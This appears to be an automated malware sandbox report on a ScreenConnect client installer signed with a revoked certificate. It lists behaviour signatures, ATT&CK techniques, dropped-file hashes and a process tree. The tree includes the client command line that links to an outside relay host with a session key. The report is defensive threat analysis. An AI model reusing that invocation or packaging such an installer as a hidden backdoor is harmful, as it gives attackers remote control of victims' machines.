Overview

overview

8

Static

static

3

ScreenConn...up.msi

windows10-2004-x64

8

ScreenConn...up.msi

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/11/2026, 00:21

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 9.5MB
  • Sample261113-anmsjad13t
  • SHA256 94d15c051275261c541e73da1210cfe08322d50e1c2c98e50da85356686b5d3e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoverypersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2448
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1272
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding AD5607F3DE10EE1CC20FC88CDE4F1D3B C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:612
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIAACD.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240758203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3276
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3436
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4BB7FE40C7DFDD1702C987176364EBC7
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2984
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DA0B7A83AF36D6103B91DA1D8FA39B2D E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3548
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4888
    • C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.admindesk.live&p=8041&s=f0e58820-cef6-4c5a-9432-4cbb19e2c3cc&k=BgIAAACkAABSU0ExAAgAAAEAAQD1s2d%2buewUrv6JzNXrCNW7OLE36YU6MWnuVrKCHnELOAOXgdORlvMjQlhbJVcq1BdFYKGBKGv9mz9HWxoAcfN2D3NbOhP%2f5kwCUCH%2fy9ZSLu3p8O9Lhl2%2bUcKF2%2ffrcx%2f%2fJwV4U9zcIa1eYY%2b0DQD%2bWPYyOpi2HMYx%2bZhJY8kxAwVBnuhaNMiRVMZOA55QMRPWznUkrJoq9IZ9GFFiALyNLFoWdGfGMCEjFysv196uGXZY5WY6shPcKeU1JN%2bWsfDmWULjCb7U%2fjeV0WoG8VSLLcbPuG3Ni6liVGHOJnVIbcZZrZLMa%2b18qhY%2f%2bbtjVzK7B0MWHttAeq47t7b31vrZ"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2816
      • C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.WindowsClient.exe" "RunRole" "a25de982-cbd5-43ab-9f90-0893f6810991" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:668
      • C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.WindowsClient.exe" "RunRole" "f77762af-dc4b-47c2-81fd-a4372843f982" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:6112

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          2
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Installer Packages

          1
          T1546.016

          Defense Evasion

          Modify Registry

          1
          T1112

          System Binary Proxy Execution

          1
          T1218

          Msiexec

          1
          T1218.007

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          System Network Configuration Discovery

          1
          T1016

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5a03cb.rbs
          • Path C:\Config.Msi\e5a03cb.rbs
          • Size 214KB
          • SHA256 86da1db49fe5311c33a38cf22df5bb154fd7d4573e8057e32e27c10e0010f4bb
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (85ed58add1e40e3a)\system.config
          • Size 956B
          • SHA256 6c0a45be71669b3e252f97416f7b73ab6c87689921c5594f79ff376d87e6614a
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSIAACD.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSIAACD.tmp
          • Size 1.0MB
          • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIAACD.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIAACD.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIAACD.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSIAACD.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSIB3D.tmp
          • Path C:\Windows\Installer\MSIB3D.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          e5a03cc.msi
          • Path C:\Windows\Installer\e5a03cc.msi
          • Size 9.5MB
          • SHA256 94d15c051275261c541e73da1210cfe08322d50e1c2c98e50da85356686b5d3e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 465d7c26ec8b0c2a897671fdbb2772c733e2ee6d988a716dd868f5bf72d8c07a
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {b0062284-7915-41a9-9dde-87d46c6ca16f}_OnDiskSnapshotProp
          • Path \??\Volume{e3f46304-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{b0062284-7915-41a9-9dde-87d46c6ca16f}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 a60655cc734bde92e4d450a7fa52a58c06a573eedacd982d9d0cdcc9976f109a
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/668-113-0x0000000000B60000-0x0000000000BF8000-memory.dmp
          Download

          memory/668-114-0x0000000002D70000-0x0000000002DA6000-memory.dmp
          Download

          memory/668-119-0x000000001BAB0000-0x000000001BAC8000-memory.dmp
          Download

          memory/668-118-0x0000000002D20000-0x0000000002D38000-memory.dmp
          Download

          memory/668-117-0x000000001C0C0000-0x000000001C248000-memory.dmp
          Download

          memory/668-115-0x000000001BB40000-0x000000001BBCE000-memory.dmp
          Download

          memory/668-116-0x000000001BD80000-0x000000001BF2C000-memory.dmp
          Download

          memory/1272-120-0x00000184C9D30000-0x00000184CA6D4000-memory.dmp
          Download

          memory/2816-95-0x00000000049D0000-0x0000000004A20000-memory.dmp
          Download

          memory/2816-73-0x0000000004380000-0x0000000004398000-memory.dmp
          Download

          memory/2816-102-0x0000000004A60000-0x0000000004AA1000-memory.dmp
          Download

          memory/2816-99-0x0000000004A20000-0x0000000004A56000-memory.dmp
          Download

          memory/2816-104-0x0000000004CF0000-0x0000000004DC5000-memory.dmp
          Download

          memory/2816-100-0x0000000004B00000-0x0000000004B92000-memory.dmp
          Download

          memory/3276-26-0x00000000037D0000-0x000000000385E000-memory.dmp
          Download

          memory/3276-30-0x0000000005A90000-0x0000000005C3C000-memory.dmp
          Download

          memory/3276-31-0x0000000006200000-0x00000000067BA000-memory.dmp
          Download

          memory/3276-22-0x0000000003730000-0x000000000373A000-memory.dmp
          Download

          memory/3276-18-0x00000000029B0000-0x00000000029DE000-memory.dmp
          Download